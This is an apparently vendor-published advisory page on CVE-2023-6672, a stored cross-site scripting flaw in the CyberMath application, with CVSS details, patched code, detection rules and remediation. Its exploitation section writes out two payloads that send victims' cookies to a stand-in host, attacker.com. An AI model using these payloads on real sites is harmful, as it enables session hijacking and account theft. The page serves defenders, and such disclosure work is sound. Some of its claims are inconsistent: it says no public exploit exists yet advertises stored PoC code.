CVE-2023-6672
Executive Summary
CVE-2023-6672 is a Stored Cross-Site Scripting (XSS) vulnerability in the CyberMath application, developed by National Keep Cyber Security Services. The vulnerability affects versions from v1.4 before v1.5. An authenticated attacker with low privileges can inject malicious scripts into web pages, which are then stored and executed in the browsers of other users. This can lead to session hijacking, data theft, or defacement. The CVSS score is 5.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone application. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
The threat level is Medium. The vulnerability requires user interaction (e.g., clicking a link) and low privileges, but the impact is limited to low confidentiality and integrity loss.
Deep Dive & Mechanics
The vulnerability is a Stored XSS (CWE-79) in CyberMath versions v1.4 to before v1.5. The application fails to properly neutralize user-supplied input during web page generation. An attacker can inject malicious JavaScript code into input fields (e.g., comments, profile fields, or other data entry points). This script is stored on the server and executed in the browser of any user viewing the affected page.
The attack flow:
- Attacker logs in with low-privileged credentials.
- Attacker submits a payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable input field. - The payload is stored in the database without sanitization.
- When an administrator or other user views the page, the script executes in their browser.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (v1.4):
// Example of unsanitized output
echo "<div>" . $user_input . "</div>";
Patched Code (v1.5):
// Properly sanitized output
echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8') . "</div>";
The patch uses htmlspecialchars() to encode special HTML characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code is available, a manual exploitation approach is described.
Prerequisites:
- Access to a CyberMath v1.4 instance with low-privileged credentials.
- A web browser with developer tools.
Steps:
- Log in to CyberMath.
- Navigate to a vulnerable input field (e.g., user profile "About Me" section).
- Inject the following payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- When an administrator views the profile, the script executes, sending the cookie to the attacker's server.
Alternative payload for session hijacking:
<img src=x onerror="fetch('http://attacker.com/steal?data='+document.cookie)">
Blue Team (Detection & Defense)
Detection:
- Monitor web application logs for unusual input patterns (e.g.,
<script>,onerror,javascript:). - Use a Web Application Firewall (WAF) to block common XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Defense:
- Upgrade to CyberMath v1.5 immediately.
- Apply input validation and output encoding on all user-supplied data.
- Use HTTP-only and Secure flags for cookies to prevent theft.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown domains containing cookie data.
- Suspicious
GETorPOSTrequests with parameters like?cookie=or?data=.
Host IOCs:
- Log entries showing
<script>tags in user input fields. - Unexpected JavaScript execution in browser developer tools.
- Log entries showing
File IOCs:
- Modified database entries containing JavaScript payloads.
Detection Engineering
YARA Rule
rule CVE_2023_6672_Stored_XSS {
meta:
description = "Detects stored XSS payloads in CyberMath v1.4"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6672"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
$xss4 = "onload=" nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS in CyberMath v1.4
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in CyberMath application logs
author: Valters IT
date: 2025-04-10
logsource:
category: web_application
product: cybermath
detection:
selection:
request_body|contains:
- '<script>'
- 'onerror='
- 'javascript:'
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-6672 Stored XSS Attempt"; flow:to_server; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade CyberMath to version v1.5 or later.
- If upgrade is not possible, apply a virtual patch using a WAF to block XSS payloads.
- Review and sanitize all existing user input in the database.
Long-term Measures:
- Implement input validation (whitelist approach) and output encoding.
- Use Content Security Policy (CSP) headers.
- Conduct regular security audits and penetration testing.
- Train developers on secure coding practices.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.